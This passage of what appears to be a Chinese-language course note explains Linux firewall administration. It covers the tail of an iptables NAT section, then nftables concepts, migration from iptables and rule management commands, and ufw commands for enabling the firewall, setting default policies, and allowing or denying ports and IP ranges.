![](https://i.imgur.com/RoICYYU.png) * nat table 結果圖 ![](https://i.imgur.com/jcuMcD2.png) ### reference * https://linux.vbird.org/linux_server/centos6/0250simple_firewall.php * https://en.wikipedia.org/wiki/Netfilter * https://read-and-thinking.blogspot.com/2009/06/iptablessnatmasquerade.html * https://ubuntuforums.org/showthread.php?t=819354 * https://ithelp.ithome.com.tw/articles/10010137 * https://hackmd.io/@ncnu-opensource/book/%2FxsE4rBjcQjivGac7GdCK7Q * https://hackmd.io/@ncnu-opensource/book/https%3A%2F%2Fhackmd.io%2FTd1ytiSNSjWbFziUSRGTdA%3Fview ## nftables ### 概述 * 用來取代 iptables,減少重複的設定、更有效率... * 結合了 iptables , ip6tables , arptables 等防火牆工具 * 多了 [family](https://wiki.nftables.org/wiki-nftables/index.php/Nftables_families) , ex : ip , ip6 , inet , arp , bridge , netdev * inet 同時包含 IPv4 和 IPv6,可以不用像 iptables 和 ip6tables 分開 * 架構也是由 table , chain 和 rule 組成 ### 與iptables差異 * 語法不同 * 沒有預設的 table 和 chain,減少不必要的檢查 -> 提升效能 * 可以一個 rule 執行多個動作 * IPv4 和 IPv6 中都有的相同 rule 可以給 inet 處理 ### 安裝方法 `sudo apt install nftables` ### 把 iptables 設定檔轉到 nftables * 輸出 iptables 設定 `sudo iptables-save > iptables.conf` * 把設定轉換並載入到 nft 檔案 `sudo iptables-restore-translate -f iptables.conf > ruleset.nft` * nftables 再載入 nft 設定檔 `sudo nft -f ruleset.nft` ### 操作 #### 查看所有 table , chain , rule * 查看 table : `sudo nft list tables` * 查看 chain : `sudo nft list chains` * 查看 rule : `sudo nft list ruleset` #### 新增 table , chain , rule * 新增 table : `sudo nft add table [family] [table name]` * 新增 chain : `sudo nft add chain [family] [table name] [chain name] {type [chain type] hook [hook type] priority [value];}` * regular chain : 沒有指定 hook,需要其他 hook jump 或 goto 時才會被觸發 * base chain : 有指定 hook,會在該 hook 處理階段時被觸發 * chain type: * filter : 過濾封包 * route : 修改封包內容 * nat : NAT(網路位址轉換) * hook type(類似 iptables 的 chain,在特定階段才處理) : * input * forward * output * prerouting * postrouting * ingress(在 prerouting 之前的過濾策略) * priority (優先度)以數字表示,數字越低表示越先被匹配 * nftables 運作流程 : ![](https://i.imgur.com/GyBDRQA.png) * 新增 rules 可以先用 iptables-translate 把 iptables 指令轉成 nftables 指令 ```=1 sudo iptables-translate -A INPUT -s 192.168.1.123 -j ACCEPT # nft add rule ip filter INPUT ip saddr 192.168.1.123 counter accept ``` #### 刪除table , chain , rule * 刪除 table : `sudo nft delete table [family] [table name]` * 清空 table : `sudo nft flush table [family] [table name]` * 刪除 chain : `sudo nft delete chain [family] [table name] [chain name]` * 清空 chain : `sudo nft flush chain [family] [table name] [chain name]` * 刪除 rule : `sudo nft delete rule [family] [table name] [chain name] handle [handle number]` * handle number 在查看 ruleset 時加`-a`可以看到 * 刪除全部 table , chain , rule : `sudo nft flush ruleset` ### reference * https://hackmd.io/@0xff07/SJqzX9WnF * https://wiki.nftables.org/wiki-nftables/index.php/What_is_nftables%3F * https://wiki.nftables.org/wiki-nftables/index.php/Main_Page * https://www.linode.com/docs/guides/how-to-use-nftables * https://www.netfilter.org/projects/nftables/manpage.html ## ufw ### 概述 * 防火牆套件 * Uncomplicated Firewall (簡化版 iptables) * 安裝指令 : `sudo apt install ufw` ### 操作 #### 開關 ufw * 查看狀態 : `sudo ufw status` * 詳細狀態 : `sudo ufw status verbose` * 啟用 ufw : `sudo ufw enable` * 關閉 ufw : `sudo ufw disable` * 重設 ufw : `sudo ufw reset` #### 查看規則 * 顯示目前規則&編號 : `sudo ufw status numbered` #### 刪除規則 * 刪除第 3 條規則 : `sudo ufw delete 3` #### 預設規則 * 預設允許 : `sudo ufw default allow` * 預設拒絕 : `sudo ufw default deny` #### port 或服務規則 * 允許 ssh port : `sudo ufw allow ssh` * 拒絕 22 port : `sudo ufw deny 22` * 允許 TCP 6000~6007 port : `sudo ufw allow 6000:6007/tcp` #### IP 規則 * 允許 192.168.11.10 的所有連線 : `sudo ufw allow from 192.168.11.10` * 拒絕 192.168.11.1 ~ 192.168.11.255 的所有連線 : `sudo ufw deny from 192.168.11.0/24` * 拒絕某 IP 連到某 port : `sudo ufw deny from 192.168.11.7 to any port 22` #### 啟用 ufw 後查看 iptables 會發現變很亂 * 用 grep 反查 ufw * `sudo iptables -L -n | grep -v ufw` * 或是直接查看 iptables 設定檔 ### reference * https://noob.tw/ufw/ * https://zh.wikipedia.org/zh-tw/Uncomplicated_Firewall